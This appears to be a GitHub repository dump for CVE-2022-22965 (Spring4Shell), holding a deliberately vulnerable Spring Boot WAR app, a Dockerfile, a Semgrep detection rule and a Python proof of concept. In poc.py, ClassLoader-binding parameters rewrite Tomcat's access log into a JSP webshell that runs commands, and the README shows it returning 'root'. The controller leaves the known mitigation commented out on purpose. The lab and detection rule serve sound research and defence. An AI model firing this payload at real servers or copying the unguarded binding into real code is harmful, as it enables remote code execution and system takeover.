├── .dockerignore ├── .github └── workflows │ └── semgrep.yml ├── .gitignore ├── Dockerfile ├── README.md ├── poc.py ├── pom.xml ├── semgrep-rule.yml └── src └── main └── java └── com └── example └── demo ├── DemoApplication.java ├── controller └── IndexController.java └── model └── EvalBean.java /.dockerignore: -------------------------------------------------------------------------------- 1 | poc.py 2 | README.md 3 | target/ 4 | -------------------------------------------------------------------------------- /.github/workflows/semgrep.yml: -------------------------------------------------------------------------------- 1 | on: 2 | pull_request: {} 3 | push: 4 | branches: 5 | - main 6 | - master 7 | paths: 8 | - .github/workflows/semgrep.yml 9 | schedule: 10 | # random HH:MM to avoid a load spike on GitHub Actions at 00:00 11 | - cron: 49 23 * * * 12 | name: Semgrep 13 | jobs: 14 | semgrep: 15 | name: Scan 16 | runs-on: ubuntu-20.04 17 | env: 18 | SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }} 19 | container: 20 | image: returntocorp/semgrep 21 | steps: 22 | - uses: actions/checkout@v3 23 | - run: semgrep ci 24 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM maven:3.8.4-openjdk-11-slim as maven 2 | 3 | WORKDIR /usr/src/app 4 | ADD pom.xml /usr/src/app 5 | 6 | RUN mvn verify clean --fail-never 7 | 8 | COPY . /usr/src/app 9 | RUN mvn package 10 | 11 | FROM tomcat:8.5-jdk11-openjdk-slim-buster 12 | 13 | COPY --from=maven /usr/src/app/target/demo.war /usr/local/tomcat/webapps/demo.war 14 | 15 | WORKDIR /usr/local/tomcat/webapps/ 16 | EXPOSE 8080 17 | ENTRYPOINT ["catalina.sh", "run"] 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | CVE-2022-22965 - vulnerable app and PoC 2 | --------------------------------------- 3 | 4 | ## Trial & error 5 | 6 | ```bash 7 | $ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py 8 | ``` 9 | 10 | ### Output example 11 | ``` 12 | rce 13 | sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6 14 | 1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5 15 | deploy 16 | webshell 17 | webshell 18 | webshell 19 | webshell 20 | webshell 21 | webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami 22 | root 23 | ``` 24 | 25 | ## Identification with [Semgrep](https://semgrep.dev/) 26 | 27 | ```bash 28 | $ semgrep --config=semgrep-rule.yml . 29 | ``` 30 | 31 | [Semgrep rule and test cases](https://semgrep.dev/s/DDuarte:cve-2022-22965) 32 | 33 | ### Output example 34 | 35 | ``` 36 | Findings: 37 | 38 | src/main/java/com/example/demo/controller/IndexController.java 39 | cve-2022-22965 40 | Semgrep found a match 41 | 42 | 43 | 14┆ @RequestMapping("/index") 44 | 15┆ public void index(EvalBean evalBean) { 45 | 16┆ 46 | 17┆ } 47 | 48 | Ran 1 rule on 3 files: 1 finding. 49 | ``` 50 | 51 | ## Vulnerable app requirements[^1] 52 | 53 | - JDK 9 or above 54 | - Standalone Tomcat (no Embedded Tomcat) with WAR deployment 55 | - Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6) 56 | - No blocklist on WebDataBinder / InitBinder 57 | - Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.) 58 | - Writeable file system (e.g webapps/ROOT) 59 | 60 | [^1]: Assuming exploits similar to the known PoCs. There might be other gadgets... 61 | 62 | 63 | ## Sources 64 | 65 | - https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day 66 | - https://github.com/fengguangbin/spring-rce-war 67 | -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | import requests 4 | 5 | payload = { 6 | "class.module.classLoader.resources.context.parent.pipeline.first.pattern": '%{c2}i { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i', 7 | "class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp", 8 | "class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/ROOT", 9 | "class.module.classLoader.resources.context.parent.pipeline.first.prefix": "tomcatwar", 10 | "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": "", 11 | } 12 | 13 | if __name__ == "__main__": 14 | go = requests.post( 15 | "http://localhost:8080/demo/index", 16 | headers={"suffix": "%>//", "c2": "<%"}, 17 | data=payload, 18 | timeout=15, 19 | allow_redirects=False, 20 | verify=False, 21 | ) 22 | 23 | print("deploy", go) 24 | 25 | for i in range(60): 26 | shellgo = requests.get( 27 | "http://localhost:8080/tomcatwar.jsp", 28 | timeout=15, 29 | allow_redirects=False, 30 | verify=False, 31 | ) 32 | 33 | print("webshell", shellgo) 34 | if shellgo.status_code == 500: 35 | print("webshell", "http://localhost:8080/tomcatwar.jsp?cmd=whoami") 36 | print( 37 | requests.get( 38 | "http://localhost:8080/tomcatwar.jsp?cmd=whoami", 39 | timeout=15, 40 | allow_redirects=False, 41 | verify=False, 42 | ).text[:20] 43 | ) 44 | break 45 | 46 | time.sleep(1) 47 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4.0.0 4 | 5 | org.springframework.boot 6 | spring-boot-starter-parent 7 | 2.6.5 8 | 9 | 10 | com.example 11 | demo 12 | 0.0.1-SNAPSHOT 13 | demo 14 | war 15 | 16 | 11 17 | 18 | 19 | 20 | org.springframework.boot 21 | spring-boot-starter-web 22 | 2.6.5 23 | 24 | 25 | 26 | demo 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-maven-plugin 31 | 2.6.5 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /semgrep-rule.yml: -------------------------------------------------------------------------------- 1 | rules: 2 | - id: cve-2022-22965 3 | patterns: 4 | - pattern: "@$MAP(...) $R $M(..., $Y $X, ...) { ... }" 5 | # Classes and annotations that do not have the vulnerability based on: 6 | # https://docs.spring.io/spring-framework/docs/5.3.18/javadoc-api/org/springframework/beans/BeanUtils.html#isSimpleValueType-java.lang.Class- 7 | # https://docs.spring.io/spring-framework/docs/current/reference/html/web.html#mvc-ann-arguments 8 | - pattern-not: "@$MAP(...) $R $M(..., @CookieValue(...) $Y $X, ...) { ... }" 9 | - pattern-not: "@$MAP(...) $R $M(..., @MatrixVariable(...) $Y $X, ...) { ... }" 10 | - pattern-not: "@$MAP(...) $R $M(..., @PathVariable(...) $Y $X, ...) { ... }" 11 | - pattern-not: "@$MAP(...) $R $M(..., @RequestAttribute(...) $Y $X, ...) { ... }" 12 | - pattern-not: "@$MAP(...) $R $M(..., @RequestBody(...) $Y $X, ...) { ... }" 13 | - pattern-not: "@$MAP(...) $R $M(..., @RequestHeader(...) $Y $X, ...) { ... }" 14 | - pattern-not: "@$MAP(...) $R $M(..., @RequestParam(...) $Y $X, ...) { ... }" 15 | - pattern-not: "@$MAP(...) $R $M(..., @RequestPart(...) $Y $X, ...) { ... }" 16 | - pattern-not: "@$MAP(...) $R $M(..., @SessionAttribute(...) $Y $X, ...) { ... }" 17 | - pattern-not: "@$MAP(...) $R $M(..., @SessionAttributes(...) $Y $X, ...) { ... }" 18 | - pattern-not: "@$MAP(...) $R $M(..., String $X, ...) { ... }" 19 | - pattern-not: "@$MAP(...) $R $M(..., boolean $X, ...) { ... }" 20 | - pattern-not: "@$MAP(...) $R $M(..., byte $X, ...) { ... }" 21 | - pattern-not: "@$MAP(...) $R $M(..., char $X, ...) { ... }" 22 | - pattern-not: "@$MAP(...) $R $M(..., short $X, ...) { ... }" 23 | - pattern-not: "@$MAP(...) $R $M(..., int $X, ...) { ... }" 24 | - pattern-not: "@$MAP(...) $R $M(..., long $X, ...) { ... }" 25 | - pattern-not: "@$MAP(...) $R $M(..., float $X, ...) { ... }" 26 | - pattern-not: "@$MAP(...) $R $M(..., double $X, ...) { ... }" 27 | - pattern-not: "@$MAP(...) $R $M(..., Boolean $X, ...) { ... }" 28 | - pattern-not: "@$MAP(...) $R $M(..., Byte $X, ...) { ... }" 29 | - pattern-not: "@$MAP(...) $R $M(..., Character $X, ...) { ... }" 30 | - pattern-not: "@$MAP(...) $R $M(..., Short $X, ...) { ... }" 31 | - pattern-not: "@$MAP(...) $R $M(..., Integer $X, ...) { ... }" 32 | - pattern-not: "@$MAP(...) $R $M(..., Long $X, ...) { ... }" 33 | - pattern-not: "@$MAP(...) $R $M(..., Float $X, ...) { ... }" 34 | - pattern-not: "@$MAP(...) $R $M(..., Double $X, ...) { ... }" 35 | - pattern-not: "@$MAP(...) $R $M(..., Enum $X, ...) { ... }" 36 | - pattern-not: "@$MAP(...) $R $M(..., CharSequence $X, ...) { ... }" 37 | - pattern-not: "@$MAP(...) $R $M(..., Number $X, ...) { ... }" 38 | - pattern-not: "@$MAP(...) $R $M(..., Date $X, ...) { ... }" 39 | - pattern-not: "@$MAP(...) $R $M(..., Temporal $X, ...) { ... }" 40 | - pattern-not: "@$MAP(...) $R $M(..., URI $X, ...) { ... }" 41 | - pattern-not: "@$MAP(...) $R $M(..., URL $X, ...) { ... }" 42 | - pattern-not: "@$MAP(...) $R $M(..., Locale $X, ...) { ... }" 43 | - pattern-not: "@$MAP(...) $R $M(..., Class $X, ...) { ... }" 44 | - pattern-not: "@$MAP(...) $R $M(..., boolean[] $X, ...) { ... }" 45 | - pattern-not: "@$MAP(...) $R $M(..., byte[] $X, ...) { ... }" 46 | - pattern-not: "@$MAP(...) $R $M(..., char[] $X, ...) { ... }" 47 | - pattern-not: "@$MAP(...) $R $M(..., short[] $X, ...) { ... }" 48 | - pattern-not: "@$MAP(...) $R $M(..., int[] $X, ...) { ... }" 49 | - pattern-not: "@$MAP(...) $R $M(..., long[] $X, ...) { ... }" 50 | - pattern-not: "@$MAP(...) $R $M(..., float[] $X, ...) { ... }" 51 | - pattern-not: "@$MAP(...) $R $M(..., double[] $X, ...) { ... }" 52 | - pattern-not: "@$MAP(...) $R $M(..., Boolean[] $X, ...) { ... }" 53 | - pattern-not: "@$MAP(...) $R $M(..., Byte[] $X, ...) { ... }" 54 | - pattern-not: "@$MAP(...) $R $M(..., Character[] $X, ...) { ... }" 55 | - pattern-not: "@$MAP(...) $R $M(..., Short[] $X, ...) { ... }" 56 | - pattern-not: "@$MAP(...) $R $M(..., Integer[] $X, ...) { ... }" 57 | - pattern-not: "@$MAP(...) $R $M(..., Long[] $X, ...) { ... }" 58 | - pattern-not: "@$MAP(...) $R $M(..., Float[] $X, ...) { ... }" 59 | - pattern-not: "@$MAP(...) $R $M(..., Double[] $X, ...) { ... }" 60 | - pattern-not: "@$MAP(...) $R $M(..., Enum[] $X, ...) { ... }" 61 | - pattern-not: "@$MAP(...) $R $M(..., CharSequence[] $X, ...) { ... }" 62 | - pattern-not: "@$MAP(...) $R $M(..., Number[] $X, ...) { ... }" 63 | - pattern-not: "@$MAP(...) $R $M(..., Date[] $X, ...) { ... }" 64 | - pattern-not: "@$MAP(...) $R $M(..., Temporal[] $X, ...) { ... }" 65 | - pattern-not: "@$MAP(...) $R $M(..., URI[] $X, ...) { ... }" 66 | - pattern-not: "@$MAP(...) $R $M(..., URL[] $X, ...) { ... }" 67 | - pattern-not: "@$MAP(...) $R $M(..., Locale[] $X, ...) { ... }" 68 | - pattern-not: "@$MAP(...) $R $M(..., Class[] $X, ...) { ... }" 69 | - pattern-not: "@$MAP(...) $R $M(..., HttpEntity $X, ...) { ... }" 70 | - pattern-not: "@$MAP(...) $R $M(..., MultipartHttpServletRequest $X, ...) { ... }" 71 | - pattern-not: "@$MAP(...) $R $M(..., MultipartRequest $X, ...) { ... }" 72 | - pattern-not: "@$MAP(...) $R $M(..., NativeWebRequest $X, ...) { ... }" 73 | - pattern-not: "@$MAP(...) $R $M(..., RedirectAttributes $X, ...) { ... }" 74 | - pattern-not: "@$MAP(...) $R $M(..., SessionStatus $X, ...) { ... }" 75 | - pattern-not: "@$MAP(...) $R $M(..., UriComponentsBuilder $X, ...) { ... }" 76 | - pattern-not: "@$MAP(...) $R $M(..., WebRequest $X, ...) { ... }" 77 | - pattern-not: "@$MAP(...) $R $M(..., java.io.InputStream $X, ...) { ... }" 78 | - pattern-not: "@$MAP(...) $R $M(..., java.io.OutputStream $X, ...) { ... }" 79 | - pattern-not: "@$MAP(...) $R $M(..., java.io.Reader $X, ...) { ... }" 80 | - pattern-not: "@$MAP(...) $R $M(..., java.io.Writer $X, ...) { ... }" 81 | - pattern-not: "@$MAP(...) $R $M(..., java.security.Principal $X, ...) { ... }" 82 | - pattern-not: "@$MAP(...) $R $M(..., java.time.ZoneId $X, ...) { ... }" 83 | - pattern-not: "@$MAP(...) $R $M(..., java.util.Locale $X, ...) { ... }" 84 | - pattern-not: "@$MAP(...) $R $M(..., java.util.Map $X, ...) { ... }" 85 | - pattern-not: "@$MAP(...) $R $M(..., java.util.TimeZone $X, ...) { ... }" 86 | - pattern-not: "@$MAP(...) $R $M(..., javax.servlet.ServletRequest $X, ...) { ... }" 87 | - pattern-not: "@$MAP(...) $R $M(..., javax.servlet.ServletResponse $X, ...) { ... }" 88 | - pattern-not: "@$MAP(...) $R $M(..., javax.servlet.http.HttpServletRequest $X, ...) { ... }" 89 | - pattern-not: "@$MAP(...) $R $M(..., javax.servlet.http.HttpServletResponse $X, ...) { ... }" 90 | - pattern-not: "@$MAP(...) $R $M(..., javax.servlet.http.HttpSession $X, ...) { ... }" 91 | - pattern-not: "@$MAP(...) $R $M(..., javax.servlet.http.PushBuilder $X, ...) { ... }" 92 | - pattern-not: "@$MAP(...) $R $M(..., org.springframework.http.HttpMethod $X, ...) { ... }" 93 | - pattern-not: "@$MAP(...) $R $M(..., org.springframework.security.core.Authentication $X, ...) { ... }" 94 | - pattern-not: "@$MAP(...) $R $M(..., org.springframework.ui.Model $X, ...) { ... }" 95 | - pattern-not: "@$MAP(...) $R $M(..., org.springframework.ui.ModelMap $X, ...) { ... }" 96 | - pattern-not: "@$MAP(...) $R $M(..., org.springframework.validation.BindingResult $X, ...) { ... }" 97 | - pattern-not: "@$MAP(...) $R $M(..., org.springframework.data.rest.webmvc.PersistentEntityResourceAssembler $X, ...) { ... }" 98 | - pattern-not: "@$MAP(...) $R $M(..., org.springframework.http.HttpRequest $X, ...) { ... }" 99 | - metavariable-pattern: 100 | metavariable: $MAP 101 | pattern-either: 102 | - pattern: RequestMapping 103 | - pattern: GetMapping 104 | - pattern: PostMapping 105 | - pattern: PutMapping 106 | - pattern: DeleteMapping 107 | - pattern: PatchMapping 108 | message: Semgrep found a match 109 | languages: 110 | - java 111 | severity: WARNING 112 | metadata: 113 | category: security 114 | cwe: "CWE-94: Improper Control of Generation of Code ('Code Injection')" 115 | owap: "A1: Injection" 116 | technology: 117 | - spring 118 | references: 119 | - https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement 120 | -------------------------------------------------------------------------------- /src/main/java/com/example/demo/DemoApplication.java: -------------------------------------------------------------------------------- 1 | 2 | package com.example.demo; 3 | 4 | import org.springframework.boot.SpringApplication; 5 | import org.springframework.boot.autoconfigure.SpringBootApplication; 6 | import org.springframework.web.bind.annotation.RestController; 7 | import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; 8 | 9 | @SpringBootApplication 10 | @RestController 11 | public class DemoApplication extends SpringBootServletInitializer { 12 | public static void main(String[] args) { 13 | SpringApplication.run(DemoApplication.class, args); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/com/example/demo/controller/IndexController.java: -------------------------------------------------------------------------------- 1 | package com.example.demo.controller; 2 | 3 | import com.example.demo.model.EvalBean; 4 | //import org.springframework.web.bind.WebDataBinder; 5 | //import org.springframework.web.bind.annotation.InitBinder; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.RestController; 8 | 9 | @RestController 10 | public class IndexController { 11 | 12 | @RequestMapping("/index") 13 | public void index(EvalBean evalBean) { 14 | 15 | } 16 | 17 | //@InitBinder 18 | //public void initBinder(WebDataBinder binder) { 19 | // // mitigation: 20 | // String[] blackList = { "class.*", "Class.*", "*.class.*", ".*Class.*" }; 21 | // binder.setDisallowedFields(blackList); 22 | //} 23 | } 24 | -------------------------------------------------------------------------------- /src/main/java/com/example/demo/model/EvalBean.java: -------------------------------------------------------------------------------- 1 | package com.example.demo.model; 2 | 3 | public class EvalBean { 4 | 5 | public EvalBean() throws ClassNotFoundException { 6 | System.out.println("[+] EvalBean.EvalBean"); 7 | } 8 | 9 | public String name; 10 | 11 | public String getName() { 12 | System.out.println("[+] EvalBean.getName"); 13 | return name; 14 | } 15 | 16 | public void setName(String name) { 17 | System.out.println("[+] EvalBean.setName"); 18 | this.name = name; 19 | } 20 | } 21 | --------------------------------------------------------------------------------